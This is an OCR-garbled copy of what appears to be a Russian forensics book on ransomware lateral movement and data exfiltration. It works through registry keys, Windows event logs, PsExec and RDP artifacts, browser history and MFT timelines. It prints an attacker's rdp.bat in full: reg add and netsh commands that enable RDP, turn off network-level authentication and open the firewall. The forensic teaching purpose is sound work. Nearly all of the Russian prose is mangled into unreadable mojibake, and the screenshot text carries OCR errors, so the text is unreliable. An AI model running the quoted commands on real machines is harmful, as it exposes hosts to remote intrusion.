MH(OPMAIIMIO O B3JIOMAHHOW CETH — YTO Jajiblie? A Jajgbllle — rOPU30HTAIBHOE NEPEMEIICHHUE 10 CETH.

HN3ydyeHHe MeTOA0B rOpu30HTAJIBHOTO
nepeMelleHUs 1o CeTH

OrnepaTopsl IporpaMM-BbIMOraTesieii He OCTaHABIMBAIOTCS HAa IIEPBOM B3JIOMAaHHOM XOCTE€ — MM HY>KHO cOOpaTh
MH(OPMALIMIO O CETH M Ha4yaTh KaK MOYKHO OBICTPEE JBUTAThHCS JAJIbIIE, YTOOBI HAMTH U COOpaTh IICHHBIE
KOH(PUICHIIMAJbHBIC TaHHBIC U MEPEUTH K 3aKIIOUYUTEIIBHOMY 3Tally — Pa3BEPTHIBAHUIO MPOTPaMMBbI-
BBIMOTATEJIS.

AJIMMHHUCTPATUBHbIE CETEBbIE PECYPChI

OauH U3 pacipoOCTPAHEHHBIX CIIOCOO0OB HAYaTh FTOPU30HTAILHOE IIEPEMEIICHUE — 3JIOYNOTPEOJICHUE
aIMAHUCTPAaTUBHBIMU o01uMu pecypcamu Windows, Takumu kak C$, ADMINS u $IPC. Ecin
3JIOYMBIIIJICHHUKH YK€ MOJYYHUJIM COOTBETCTBYIOIINE YYETHBIC IAHHBIE, OHU C JIETKOCTHIO MOT'YT IIPOCMAaTPHBATh
(baiiIbl Ha yAAJCHHBIX XOCTaX MM JIaXKe KOIMPOBATh TyAa (PanJIbl.

Ma1 yxxe mpocmoTpenu daitn NTUSER.dat. [laBaiiTe cHOBa ero M3y4uM, Ha 3TOT pa3 ¢ MOMOIIIbI0 Registry
Explorer (puc. 9.13).



Key name #values | #subkeys |Lastwrite imestamp
aJc = = =
4 [~ MountPoints2 0 3 2021-11-28 12:40:32
T ##192.168.1.76#c$ 1 0 2021-11-28 12:40:32
» Bl CPC 0 1 2021-11-28 11:25:29
== {a04afba1-0000-0000-000... 0 0 2021-11-28 11:27:32
[~ Package Installation 1 0 2021-11-28 11:42:39
» [ RecentDocs 11 2 2021-11-28 12:19:25
[~ Ribbon 2 0 2021-11-28 11:27:06
= RunMRU 0 0 2021-11-28 11:44:34
» £ SearchPlatform 0 1 2021-11-28 11:25:27
[== Shell Folders 31 0 2021-11-28 11:25:35
[F= Shutdown 1 0 2021-11-28 11:25:38
[~ StartPage 2 0 2021-11-28 11:25:31
» [ StartupApproved 0 2 2021-11-28 11:45:12
» [ Streams 0 1 2021-11-28 11:26:27
F= StuckRects3 1 0 2021-11-28 11:26:27
» F Taskband ) 1 2021-11-28 11:26:14
[~ TypedPaths 0 0 2021-11-28 11:44:34
[~ User Shell Folders 20 0 2021-11-28 11:25:27
» [ UserAssist 0 9 2021-11-28 11:25:33
== VirtualDesktops 0 0 2021-11-28 11:25:42
] Key: = Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\##192.168.1.76%c$

Puc. 9.13. CBugerenscTBo goctyna k aucky C:\ agpeca 192.168.1.76

MBI BUAMM, 4TO HAIll B3JIOMAaHHBIA MOJIb30BaTENb 3amien Ha aapec 192.168.1.76. MaTepecHo! /laBaiiTe mosydum
¢aitn SMFT ¢ aToro xocra u monpooyeM MOHATh, OBLIIO JIM YTO-TO CKOIMMPOBAHO Ha XocT. OOpadoTaem ero ¢
nomoIsio MFTECmd u mpocmoTrpuMm pesynbrat B Timeline Explorer.

.\ProgramData\Microsoft\Windows\WER\ReportA. Report.wer 3038 2021-11-28 12:43:19
. \ProgramData\Microsoft\Windows\WER\ReportA. NonCritical Microsoft Window_51bf3bec7b4.. © 2021-11-28 12:43:19
.\ProgramData\Microsoft\Windows\WER\ReportA.. Report.wer 2346 2021-11-28 12:43:19
.\Users\Public rdp.bat 313 2021-11-28 12:47:58
.\System Volume Information\DFSR\Config Volumae_C7E316EF-0000-0000-0000-501F00000... 2262 2021-11-28 12:48:41
.\ProgramData\Microsoft\Crypto\RSA\S-1-5-18 1e9562888d4824cbbdf@8763b56d1693_a86960e.. 57 2021-11-28 12:48:46
.\Windows\ServiceProfiles\NetworkService\Ap. AutoTrace 9 2021-11-28 12:48:47
.\Windows\ServiceProfiles\NetworkService\Ap.. Capture @ 2021-11-28 12:48:47
.\Windows\ServiceProfiles\NetworkService\Ap.. Transfer 9 2021-11-28 12:48:47
.\Windows\System32\Microsoft Crypto © 2021-11-28 12:48:48
. \Windows\System32\Microsoft\Crypto RSA © 2021-11-28 12:48:48
. \Windows \System32\Microsoft\Crypto\RSA MachineKeys 0 2021-11-28 12:48:48
.\ProgramData\Microsoft\Crypto\RSA\MachineK. f686aace6942fb7f7ceb231212cef4a4_a86960e.. 2225 2021-11-28 12:48:48
.\Windows\System32\Microsoft\Protect\S-1-5-. cad1038b-0d16-4199-8e28-5408%ee7aebd 468 2021-11-28 12:48:48
.\Windows\System32\config\systemprofile\App.. PeerDistRepub © 2021-11-28 12:48:48

Puc. 9.14. Ilogo3putenbHbiil (aiin Ha 192.168.1.76

AHalm3 BRISBHII OYCHB OJA03pUTEIbHBIN (aiin B manke C:\Users\Public — npomexyTodrHoit narnke,
MCIOJIb3YEMOM 3J10yMBIIIICHHUKaMU. [locMoTpuM BHYTpS (paiiia.

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
/v "fDenyTSConnections" /t REG_DWORD /d 0 /f

netsh advfirewall firewall set rule group="Remote Desktop" new
enable=yes

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server)\
WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0
/£

[Toxoke, 4TO 3J10YMBIIUICHHUKHA UCOIb30BaIM 3TOT (paiin Ay BkiatodeHus:s RDP-coenunenuit. Ho BeimonHsics
JI €T0 3aIyCK B cucTemMe? MbI BBISICHUM 3TO B CIEAYIOIIEM Pa3JIciie.

PsExec

[Ipex e Bcero, MOCKOILKY MBI YK€ 3HaeM, 4To Fdp.bat MokHO MCIIOIB30BaTh JIS BKIIFOUCHHS BO3MOXKHOCTH
RDP-noaktoueHunii yepes peJakTUpOBaHUE peecTpa, JaBanuTe mpoBepuM ¢aiin peectpa SYSTEM.



Value Name Value Type |Data
alc < ac
AllowRemoteRPC RegDword 1
DelayConMgrTimeout RegDword 0
DeleteTempDirsOnExit RegDword 1
fDenyTSConnections RegDword 0
fSingleSessionPerUser RegDword 1
NotificationTimeOut RegDword 0
PerSessionTempDir RegDword 1
ProductVersion RegSz 5.1
RCDependentServices RegMultSz  CertPropSvc SessionEnv
 RDPVGCInstalled RegDword 1
SessionDirectoryActive RegDword 0
SessionDirectoryCLSID RegSz {005a5¢68-216-4b27-8f59-b 33682903368}
SessionDirectoryExCLSID RegSz {ec98d957-48ad-436d-90be-bc29 1f42709¢)
SessionDirectoryExposeServerlP RegDword 1
SnapshotMonitors RegSz 1
StartRCM RegDword 0
TSUserEnabled RegDword 0
InstancelD RegSz b6fc84e-737F-40c4-b04d-29fcdb 1
GlassSessionld RegDword 3

Puc. 9.15. Conmepxxumoe HKLM\System\CurrentControlSet\Control\TerminalServer

Kaxk BugHo Ha pucynke 9.15, 3nauenne fDenyTSConnections paBao 0, TO €CTh 3J10yMBIIIJICHHUKH YCIICIITHO
3anmycTUIu clieHapuid. JlaBaiite nmomnpoOyeM coOpaTh 00JIbIlE JOKA3aTEAbCTB. JlymMaro, Bbl 3aMETUIIH, UTO CKPHUIIT
TaKKe BIMSICT HA paboTy OpanaMayspa. MBIl MOKeM 3arissHyTh B (paiin sxypHana coosrruii Microsoft-Windows-
Windows Firewall With Advanced Security%4Firewall.evtx u mpoBeputs coObiThs ¢ naeaTudukaropom 2005.

A rule has been modified in the Windows Defender Firewall exception list.

Modified Rule:
Rule ID: RemoteDesktop-UserMode-In-TCP
Rule Name: Remote Desktop - User Mode (TCP-In)
Origin: 1
Active: 1
Direction: 1
Profiles: 2147483647
Action: 3
Application Path: C:\Windows\system32\svchost.exe
Service Name: termservice
Protocol: 6
Security Options: 0
Edge Traversal: 0
Modifying User:  S-1-5-18
Modifying Application: C:\Windows\System32\netsh.exe

Puc. 9.16. MI3meHeHue npaBu1 OpaHagMayspa

MbI BUAUM, 4TO IIpaBuia OpaHaMay3pa Takke ObLIM U3MEHEHBI, TO €CTh MOXKEM C YBEPEHHOCTBIO CKa3aTh, 4TO B
1IeJICBOM cUCTEME ObLI BBIIOJHEH BPEAOHOCHBIM CKpuUnT. Ho Kkak uMEHHO?

[IpogomxuM u3ydaTh KypHalibl COOBITHM Windows — Ha 3TOT pa3 System.evix u uaeHTuduKaTop
coobiTusa /045.

A service was installed in the system.

Service Name: PSEXESVC

Service File Name: %SystemRoot%\PSEXESVC.exe
Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

Puc. 9.17. Cnyx0a, cBsizanHas ¢ PsExec

Ha pucynke 9.17 Bbl MOKETE BUIECTh BECbMa PacIpOCTPAaHEHHBIN apTedakT, cBsI3aHHbIN ¢ PsExec —
MONYJISIPHBIM HHCTPYMEHTOM JJIs1 YIAJICHHOTO 3allyCKa, KOTOPhIH OOBIYHO MCHOJIb3YETCS KaK CUCTEMHBIMU
aIMAHUCTPATOPAMM, TAK U ONIEpaATOPaAMU IIPOrPAMM-BBIMOTATEIIEH.

Ckopee Bcero, 3TOT HHCTPYMEHT ObLI 3aIlyIlEH C IIEPBOT0 B3JIOMAaHHOI'O XOCTa, HO BCE K€ HAaM HY>KHO HalTH
noka3arenbcTBa. M3yuum daiin sxypHana coobrtuii Security.eviX u noumiem ID 5140 mim 4624 pssnom ¢ 3amryckom
PsEXxec.

Teneps y Hac ecTh JOKa3aTeabCTBA TOro, YTo PSExec ObL1 3amylieH ¢ M3Ha4albHO CKOMIIPOMETHPOBAHHOIO
xocta 192.168.1.77, npruyuem 3J10yMBIIIJICHHUKH YCIICIIHO MOJYYUIIN JaHHbIC ayTCHTU(PUKALIMA JJIST YYETHOM
3anucu agMuaucTpaTopa (Administrator).



A network share object was accessed.

Subject:
Security ID: S-1-5-21-1821442491-3674022106-671894598-500
Account Name: Administrator
Account Domain: BAXTER
Logon ID: 00SFESSD

Network Information:
Object Type: File
Source Address: 192,168.1.77
Source Port: 54235

Share Information:
Share Name: \\*\IPC$
Share Path:

Puc. 9.18. Jloctyn Kk cereBoMy pecypcy Obui mosrydeH (5140)

Wrak, 3;10yMbIIUIEHHUKY BKIIIOUUIU RDP — naBante BBIICHUM, OJIL30BAIUCH JIM OHU 3TUMHU MOIKIFOUYECHUSIMU.

RDP

RDP — oaun n3 Hanbosee pacipoCTpaHEHHBIX METOIOB, UCIIOJIb3YEMBbIX 3JI0YMBIIIICHHUKAMHA 151
TOPU30HTAJILHOIO EPEMEIICHUS 110 CeTH. BbI MOCTOSSHHO OYAETE CTAIKUBATHCS C ITUM METOAOM, PACCICIYsI
aTaKH MPOTPaAMM-BBIMOTATENIEN, YITPABIISIEMBIX YEJIOBEKOM.

CyIiecTByeT JOBOJILHO MHOI'O HCTOYHUKOB apTe(aKTOB, KOTOPHIC MOT'YT IIOMOYb BaM OOHAPYKUTH 3TOT BU/
aesarenbHocT. OIMH U3 HanboJiee pacpoCcTpaHeHHBIX — (aiii xypHana coowsrruii Microsoft-Windows-
TerminalServices-LocalSessionManager%4QOperational.evtx. Kak mpaBuiio, Hy>KHO UCKaTb COOBITHS C
nneHTudukaropamu 21 (Y cnemHsii BXoj B ceanc) U 25 (YcremHoe BO300HOBIICHIE CEaHCa).

Remote Desktop Services: Session reconnection succeeded:

User: BAXTER \Administrator
Session ID: 1
Source Network Address: 192.168.1.77

Puc. 9.19. Ycremsoe BO30OHOBIIEHHUE CEAHCA

BEI Takke MOJKETE MCIIOJIb30BaTh COOBITHS ¢ uaeHTH(PuKaTopoMm 4624 13 Security.eviX, opueHTHPYSICh Ha BXOIBI
B cucteMy ¢ tunom 10.

An account was successfully logged on.
|

Subject:
Security ID: S-1-5-18
Account Name: WIN-3N20VFKRERTS
Account Domain: BAXTER
Logon ID: 000003E7

Logon Information:
Logon Type:

10

Puc. 9.20. Bxox B cucremy ¢ tunom 10

Takum 00pa3zomM, Mbl MOXKEM 3aKIIOUYNTh, YTO 3JIOYMBIIUICHHUKH ITOJYYWJIM IIPUBUIECTHPOBAHHBIC YUCTHBIC
JaHHBIE, IPOBEIN Pa3BEJIKY ceTH U Active Directory u Hayaau nepeMenaTbCcs 0 CETH B TOPHU30HTAIbHOM
HAIIPaBJICHUH, UCIIOJIb3Ys PA3JIMYHbIE METOIbl. KOHEUHO, 3TO €llie HE BCE.

BBIBO ABI

ATaKy MpOorpaMmmM-BbIMOTATEIIEH, YIIPABIISIEMBIX YEJIOBEKOM, JOBOJIBHO CJIOXHBI, )KU3HEHHBIN IIUKJT ATAKU COCTOUT
M3 MHOTUX 3TanoB. [lociie Toro kak Ha HAYaJIbHOM 3Tare 3JIOYMBIIUIEHHUKA 3aKPENUIINCh, OHA HAUYUHAIOT
MOCTAIKCILTYaTalMIO, YTOObI HOIYYUTh KOHTPOJIb HaJ BCEH CETHIO.

B aT0M 171aBE€ MBI PACCMOTPENHN PA3JIMYHBIE METOAbI ITOCTAIKCILIYATAlIMU U HA OCHOBE Pa3JIMYHBIX
KPUMHHAITUCTHYECKUX apTe(DaKTOB PEKOHCTPYHUPOBAIN YaCTh aTaKu C MCIOJIb30BaHUEM IIPOrpaMMbI-
BBIMOTATEJIS.

MBbI BBISICHWIIY, KaK 3JI0YMBINIJIEHHUKHU MOJYYArOT JOCTYN K IPUBUIIETUPOBAHHBIM YUETHBIM 3aIUCAM, KaK OHU
IPOBOIAT pa3BeAKy ceTu 1 Active Directory, a Tak»Ke Kakue METO/ibl OHU MCIIOJIB3YIOT JJISl TOPU30HTAILHOTO
[IEPEMEILICHUS 110 CETH.

B caenytronieit riaBe Mbl COCPEIOTOUYNMCS HA TOM, KaK OIlepaTOpbl MPOrpaMM-BbIMOraTeNIEd PEIIAIOT OJIHY U3
OCHOBHBIX 33]1a4 COBPEMEHHBIX aTaK — KPaJyT JaHHBIE.



nasa 10

METO/IbI KPAYKH TAHHBIX

[TosyduB TOCTYIT K MPUBUJIETUPOBAHHBIM YUETHBIM JJAHHBIM U O0OECIIEYHMB BO3MOKHOCTh TOPHU30HTAIIBHOTO
epEMEIICHUS IO CETH, MOJIb30BaTENIM IIPOrPAMM-BBIMOIraTeICd HAUMHAIOT Pa00TaTh HAJl CBOMMM PEATbHBIMU
nesisiMu. OHa U3 TaKUX [EJIen — Kpaka JaHHBIX.

KoHeuHo, He KaXkJas rpyIia BhIIOIHAET I0I00HbBIC ICUCTBHUS, U JAXKE 3JI0YMBIIIJIEHHUKNA cO cBouM DLS He
BCErJa 3TUM 3aHUMAIOTCA. TeM HE MEHEE JBOMHOE BHIMOIAaTEIbCTBO BECbMAa PACHPOCTPAHEHO, U CIEIIAATIUCTHI 10
pearupoOBaHUIO HA MHIUJICHTHI JOIKHBI OBITh XOPOIIO OCBEIOMIICHBI O MOJAX0/1aX, UCIIOJb3YEMbIX BRIMOTaTEIISIMU
U1 KpaXky KOH(PUACHIIMAIbHBIX JJAHHBIX U3 B3JIOMaHHBIX CETEH.

B 31011 T71aBe MbI paCCMOTPUM KPUMHHAIIUCTHUYECKHE apTe(aKThl, KOTOPHIC ITO3BOJISIOT HAM pa3o0opaThCs B TOM,
KaK OIepaTopbl MPOTrpaMM-BEIMOTaTeIeH BRITPYKAIOT AaHHBIC. [101X0MBI MOTYT CYIIIECTBEHHO pa3IndaThCs B
3aBUCUMOCTHU OT KaKJ0I0 KOHKPETHOI'O 3JI0YMbIIIJIEHHUKA. HekoTophle MpeAnounTaroT JerKuid MyTh U
HCIOJIB3YIOT BEO-Opay3ep WM KIMEHTCKOE NPUIIOKEHHUE 00J1a4HOr0 XpaHWIUINA, IPYrue BHIOMPAIOT
CIeIMaIbHBIC MPUI0KEHMS, BXOAAIIME B ITaKET IPOTPAMMbI-BBIMOTATEIIS KaK YCIyTH,

MBI pacCMOTPHUM CJIeAYIOLIHE TeMBbI:

. U3yyeHune 3noynotpebneHnna seb-b6paysepom.

. N3yuyeHune 3noynotpebieHna KAMEHTCKUMU NPUIOKEHUAMM 001a4YHbIX XPAHUIULLL.

. N3yuyeHune 3noynotpebsiieHnAa CTOPOHHMMM UHCTPYMEHTAMM 06/1a4HON CUHXPOHM3ALUN.
. N3yyeHune ncnonb3oBaHUA cneuunanbHbIX MHCTPYMEHTOB.

. U3y4eHue 3/10ynnoTpeod/1eHUsI Be6-0pay3epom

. Kak BbI yKe 3HaeTe U3 npeablAyIIUX IJ1aB, M0JIb30BaTEIN IPOrpaMM-BbIMOTraTeIe JOBOJBHO YaCTO
3JI0YIOTPEOIISIOT MOAKIIOYCHUSIMU 10 IMPOTOKOIIY yaaneHHoro padodero croia (RDP) kak s
IIepBOHAYAJIBHOI'O JOCTYIIA, TaK U ISl TOPU30HTAIIBHOIO IIEPEMEIICHMS, @ 3HAYUT, MOT'YT JIETKO IIPUMEHSATh
JUIS1 KpaKW TAHHBIX BCTPOCHHBIC JIESTUTUMHBIC HHCTPYMEHTHI.

. OJIMH U3 TaKUX UHCTPYMEHTOB — Be0-0Opay3ep. 3110YMBIIIICHHUKHA MOTYT UCITOJIb30BaTh €r0 JIJIS BHITPY3KHU
COOpaHHBIX UMHU KOH(DUICHIIMAIBHBIX JAaHHBIX Ha Pa3IdYHbIC (PaillI0o00OMEHHBIE CEPBUCHI, HAIIPUMED
DropMekFiles.

. Beb-0Opay3epbl UMEIOT HIMPOKHUE BO3MOKHOCTH BEJICHHUS KYPHAIOB, IOATOMY aHATUTUKHU
KMOEpHPECTYIICHUA M CIECHUAIIUCTHI 10 PEaruipOBaHUIO0 HA MHIMACHTHI BCErJla MOT'YT IPOBEPUTH UCTOPHIO
IIPOCMOTPOB HA HAJIMYUE CJIEJIOB YTEUKH JAHHbBIX.

. JlaBaliTe pacCMOTPHM KJIACCUUYECKYI0 BEPCHUIO BCTPOEHHOTO BeO-Opay3epa — Microsoft Edge. Mctopus
xpanutes B aitne WebCacheV01.dat, koropsrii npencrasiser coboit 6a3y ganasix ESE (Extensible Storage
Engine). CymecTByeT HeMaja0 HHCTPYMEHTOB, KOTOPEIE MOYKHO HCIIOJIH30BaTh JIJIs IIPOCMOTPA M aHAJIN3a ero
cojaep:kuMoro. Xopommuii BapuantT — ESEDatabaseView ot NirSoft.

. Ha pucynke 10.1 BoI BuguTe Tabnuiry ¢ HazBanueM Containers. OHa MOKET ITOMOYb HaM OIIPEISINTh, KaKue
MMEHHO TaOJMIBI 0a3bl JAHHBIX COJEPKAT HHTEPECYIOIIYIO0 Hac HHMopMaluioo. YToObl M3YYUTh UCTOPUIO
IIPOCMOTPOB BeO-CTPAHUII, HY’KHO IIPOBEPUTH TAOJIUIILI, HOMEUYSHHBIC Kak HIStory, HapumMep TabmiIry ¢
uMmeneM Container_7 (uaeHtudukaTop BUjaeH ciaeBa). Jlasaiite mocmorpum Ha croiioen Url (puc. 10.2).

. 371eCh HEMAJIO MHTEPECHBIX 3anucen. IIpexae BCero Mbl BUAMM, 4TO ONEPATOPHI MPOTPAMMBbI-BBIMOTATEA
MCITOJIb30BaJId IIONCKOBYIO CHCTeMy Bing, 9ToOBI HAMTHU MOITYISPHBIA HHCTPYMEHT apXuBamuu — 7-ZIp.



Visited: smith@https://www.bing.com/search?q=7zip&FORM=ED-
GENA&refig=00000000000000000000000000000000&rdr=1&rdri-
g=3DA33985405F4B2993B9833178C9DA02

72 ESEDatabaseView: DAAXIOM - Dec 26 2021 175050\Saved Files\WebCacheV01.dat - O X
File Edit View Options Help
SHRERO=FAA

Containers [Table ID =9, 14 Columns]

9

Containerld 7 Setld Flags Size Limit LastScavengeTime EntryMaxAge LastAccessTime Name

@1 0 79 1100943 346030080 0 0 132849841742941594 Content

@2 0 68 0 1024 0 0 132849841315919699 History

@3 1 15 632286 52428800 0 0 132849841226991854 Content

@4 1 1 13 1024000 0 0 132849841231256331 DOMStore

@5 1 i 52428800 0 0 132849975169341533 Content

@6 0 13 0 1024 0 0 132849841243459880 MicrosoftEdge_DNTException
17 ) b8 0 ) 0 132849865089158339 History |
@8 0 7% 0 346030080 0 0 132849865089158339 Content

@9 0 80 0 1024 0 0 132849841808021247 MicrosoftEdge_iecompat
@10 0 80 O 1024 0 0 132849841808021247 MicrosoftEdge_iecompatua
@1 0 81 0 1024 0 0 132849864896190464 MicrosoftEdge_EmieSiteList
@12 0 81 0 1024 0 0 132849864896190464 MicrosoftEdge_EmieUserlList
@13 0 79 9532167 346030080 0 0 132849865371182020 Content

@14 0 64 0 1024 0 0 132849864926200879 iedownload

@15 0 79 7822008 346030080 0 0 132849864911652744 Content

@16 0 65 39 1024000 0 0 132849865089775339 DOMStore

@17 0 68 0 1024 0 0 132849865089775339 History

@19 1 0 0 1024 0 0 132849859776221994 BackgroundTransferApi

@ 20 1 0 0 1024 0 0 132849859777943406 BackgroundTransferApiGroup
o2 1 1B 0 52428800 0 0 132849859642425385 Content

@22 0 192 0 1024 0 0 132825741615505345 Cookies

@23 1 15 0 52428800 © 0 132825742799521599 Content

< >

v

30 record(s), 1 Selected NirSoft Freeware. hitp://www.nirsoft.net

Puc. 10.1. ®aitn WebCacheVO01.dat, orkpsiTeiii B ESEDatabaseView

2 ESEDatabaseView: DAAXIOM - Dec 26 2021 175050\Saved Files\WebCacheV01.dat - (W] X
File Edit View Options Help

SHEa=aa

|Container_7 [Table ID = 37, 25 Columns) v

Urd

Visited: smith@https.//www.msn.com/

Visited: smith@ms-appx-web://microsoftmicrosoftedge/assets/errorpages/dnserror.hitmi? DNSError=0&ErrorStatus=0x800C0005&NetworkStatusSupported=1

Visited: smith@ms-appx-web://microsoftmicrosoftedge/

Visited: smith@ms-appx-web://microsoftmicrosoftedge/assets/errorpages/dnserror.ntmi?DNSError=0&ErrorStatus=0x800C0005&NetworkStatusSupported = 1%23https
Visited: smith@https:;//www.bing.com/search?q=7zip&FORM =EDGENA&refig=00000000000000000000000000000000

Visited: smith@nhttps://www.bing.com/

Visited: smith@https;//www.bing.com/search?q="7zip&FORM=EDGENA&refig=000000000000000000000000000000008&rdr=1&rdrig=3DA33985405F4B299389833178C9
Visited: smith@https://www.bing.com/search?q=dropmefiles&form=EDGEAR&qs=PF&cvid=180852¢f25174b2eabc8dbb 110385dcd &icc=US&setlang JS&pivar=0
Visited: smith@https;//www.bing.com/search?q=dropmefiles&form=EDGEAR&qs=PF&cvid=180852cf29174b2eabc8dbb 110385dcd&cc=US&setlang=en-US&pivar=0&
Visited: smith@about:blank

Visited: smith@about://

Visited: smith@https://dropmefiles.com/

Visited: smith@https,//dropmefiles.com/DRUiq

Visited: smith@https//www.bing.com/search?q=megasync&form=EDGHPT&qs=PF&cvid=dc8c2fd28c3f42bab31fe911bfd40001 &refig=3df616776efc4d dbb 1149866989
Visited: smith@https://mega.io/sync

Visited: smith@https://mega.io/

Visited: smith@https;//mega.io/update html

Visited: smith@https://mega.io/favicon.ico

Visited: smith@https;//megaio/faviconico?v=3

Visited: smith@https.//www.bing.com/search?q=megasync8form=EDGEARBqs=HS & cvid=bb4b805b8dd 14bfcaf 15c 1eeSbfd75168cc=US&setlang =en-US&plvar=0
Visited: smith@https://megasync.en.lodd.com/windows

Visited: smith@https;//megasync.en.lodd.com/

d=180852¢f26174b2ea6c8dbb 110385dcd &icc =USEsetlang =en-US&plivar=0

31 record(s), 1 Selected NirSoft Freeware. hitp://www.nirsoftnet

< ——— >

Puc. 10.2. Tabnmuua Container 7

DTO HE €AMHCTBCHHBIM BaXKHBIK apTe(aKT, €IIe OJUH — UM MMOJIb30BaTels. B HEKOTOPBIX Clydasx OHO
MOKET JIAXKE MPUBECTU UCCIIEA0BATEISA K U3HAYAIBHO CKOMIIPOMETUPOBAHHOMY XOCTY, KOTOPBIM MHOT 1A

HA3bIBAIOT HYJICBBIM ITAIIUCHTOM.

MBI Tak)Ke MOKEM IMOJIYYUTh U3 3TOM TaOJIMIIBI METKY BpEMEHH J0CTyIa. B Haliem cirydae
310 132849977563921851 — oHa He MOX0’Ka HA BPEMEHHYIO METKY, ITIOCKOJIbKY COXpaHeHa B (popmare
Webkit. Ee MoxHO J1erko rnmpeoopazoBaTh B y10004MTaeMbIi (hopMat: BOCKpeceHbe, 26 aekadps 2021 r.,

13:09:16.

3aueM 3J10yYMBIIIJICHHUKAM HY>KHbI Takue YTUINThI? CKOpee BCero, A apXyUBalluu JaHHBIX IIEPe/I
ykchuabTparueii. Y Hac yKe eCTh IIepBas OlopHas Touka, fJaBaite oopadoraecm SMFT, aroOn1 mpoBEpUTH
10JIb30BaTEIIM IIPOTrPaMMBbI-BbIMOTraTeJIsl

HaJIMYME APYTUX UHTEPECHBIX apTe(PakToB. MBI BUIUM, UYTO
oOMeCTUIn 7-Z1p B manky Temp.

.\Windows\Temp x64
.\Windows\Temp\x64 7za.dll

0 2021-12-26 13:02:58
385024 2021-12-26 13:02:58
1230336 2021-12-26 13:02:58
215040 2021-12-26 13:02:58

.\Windows\Temp\x64 7za.exe
.\Windows\Temp\x64 7zxa.dll

Puc. 10.3. ®aiin, cBsi3aHHbIN ¢ 7-Z1p, B nanke Temp



. Ecau MBI poKpyTUM Hallly BpeMEHHYIO0 mKany Ha ocHoBe MFT, MBI BCkope 0OHapyXKuUM €I1ie OJuH
MHTEPECHBIN apTe(aKT.

.\Windows\WinSxS\M.. x86_sy.. 550 2021-12-26 13:07:09
. \Windows\WinSxS\M.. amd64 .. 393 2021-12-26 13:07:09
.\Windows\Temp\x64 aaa.7z 11257 2021-12-26 13:07:09
.\Windows\WinSxS\M.. x86 ne.. 388 2021-12-26 13:07:09
.\Windows\WinSxS\M.. amd64 .. 1105 20©21-12-26 13:07:09
. \Windows\WinSxS\M.. x86 ne.. 1103 2021-12-26 13:07:09
. .\Windows\WinSxS\M.. amd64 .. 261 2021-12-26 13:07:09

. Puc. 10.4. ApxuB 7z B NOg03pUTEIILHON MAMKE

. MBI BHAUM, 9TO 3J10YMBIIUICHHUKH, CKOPEE BCET0, ApXUBUPOBAIN JAaHHBIC IIPU ITOMOIIH 7-ZIp — BEPOSITHO,
nepe ux SKCPUIbTpalued. ITO MOMYISIPHBIM METO/I, UCIIOJb3yEMbI MHOTUMHM OII€paTOpaMu OporpamMm-
BBIMOTaTEJICH.

. Tenepp naBalTe MOCMOTPUM BHYTPS (Paiina TpacCUpoBKH /za.exe (puc. 10.5).

. IIockonbKy (paiiabl TPaCCUPOBKHU COJIEP>KAT KaK MMEHa (PailjioB, TaK M CIHMCKHU KaTajaoroB, ¢ KOTOPhIMHU
B3aMMO,ICHCTBOBAJI UCITOJIHAEMBIN (Paiiyi, MbI MOKEM HCITOJIb30BATh UX, YTOOBI BBISICHUTh, YTO UMEHHO OBLIO
3aapPXUBHUPOBAHO, JAXKE €CJIU 3JIOYMBIIUICHHUKH YCIIEIN YIAIUTh apXUB.

\VOLUME{@1d4de8babe93c69-bdabtect } \USERS\SMITH\DOCUMENTS\ALAN LEE.DOCX
\VOLUME{01d4de8babe93c69-bdabtect} \USERS\SMITH\DOCUMENTS\ALEX TODD.DOCX
\VOLUME{©1d4de8babe93c69-b4dabtect } \USERS\SMITH\DOCUMENTS\ANGEL WRIGHT.DOCX
\VOLUME/ F F\USERS\SMITH\DOCUMENTS\CASANDRA PENN.DOCX
1E{@1d4« > f F\USERS\SMITH\DOCUMENTS\CONTACTS.DOCX
3 b4abfec6}\USERS \SMITH\DOCUMENTS\CONTRACTS. DOCX
e93c69-bdabfec6}\USERS\SMITH\DOCUMENTS\HAPPY ROBERTS.DOCX

\VOLUME{0@1d4de8babe93c69~-bdabfect} \USERS\SMITH\DOCUMENTS\JOHN HAWK.DOCX
\VOLUME{@1d4de8babe93c69-bdabfect} \USERS\SMITH\DOCUMENTS\JOSH SMITH.DOCX
\VOLUME{©1d4de8babe93c69-bdabfect} \USERS\SMITH\DOCUMENTS\JULIA CASSIDY.DOCX
\VOLUME{@1d4de8babe93c69-bdabfect} \USERS\SMITH\DOCUMENTS\KATE BLACK.DOCX
\VOLUME{©®1d4de8babe93c69-bdabTect } \USERS\SMITH\DOCUMENTS\MARTIN WHITE.DOCX
\VOLUME{@1dAade8babe93c69-bdabfect} \USERS\SMITH\DOCUMENTS\NEIL ARMSTRONG.DOCX
\VOLUME{@1d4de8babe93c69-bdabfect} \USERS \SMITH\DOCUMENTS\QUOTE 24.12.DOCX

° \VOLUME{@1d4de8babe93c69-bdabfect} \USERS\SMITH\DOCUMENTS\QUOTE 25.12.D0OCX

. Puc. 10.5. ApxuBHBIE JaHHBIC B CTUCKE ()alIOB, C KOTOPBIMH B3aMMOCHUCTBOBAI UCIIOJIHAECMBIN (haili

. BepHeMmcs k ucTopruM IpoCMOTPOB BEO-CTpaHMIl, MOKa3aHHOM Ha pucyHke 10.2. Bot eme oauH nouck B Bing.

Visited: smith@https://www.bing.com/search?g=dropmefiles&form=E

DGEAR&Qs=PF&cvid=180852cf£29174b2ea6c8dbbll0385dc4&cc=US&setlang

=en-US&plvar=0

. Ha 3ToT pa3 3710yMBIIIICHHUKY UCKAIU MONYISpHBIN daitnoooMeHHUK DropMeFiles. OToT u apyrue
110JI00HBIE BEO-CalThl — PacIpPOCTPAaHECHHBIE CPEJICTBA, UCIIOIb3YEMBbIE ONlepaTOpaMu MPOrpaMm-
BBIMOTaTeNECH IS KpaykKu JaHHBIX. UTOOBI 3aMECTH CJIE/IbI, B3JIOMILMKN UCIIOJb3YIOT Pa3IMUHbIC CEPBUCHI, B
TOM YMCJIE XapaKTEPHbIE IS CKOMIIPOMETUPOBAHHON HH(PPACTPYKTYPHI.

. Mu1 Taxxe Bugum mrodonsITHEI URL-aapec — https://dropmefiles.com/DRUIQ — co ciexyromum
COJIEPIKMMBIM.

™ EDRYS 1
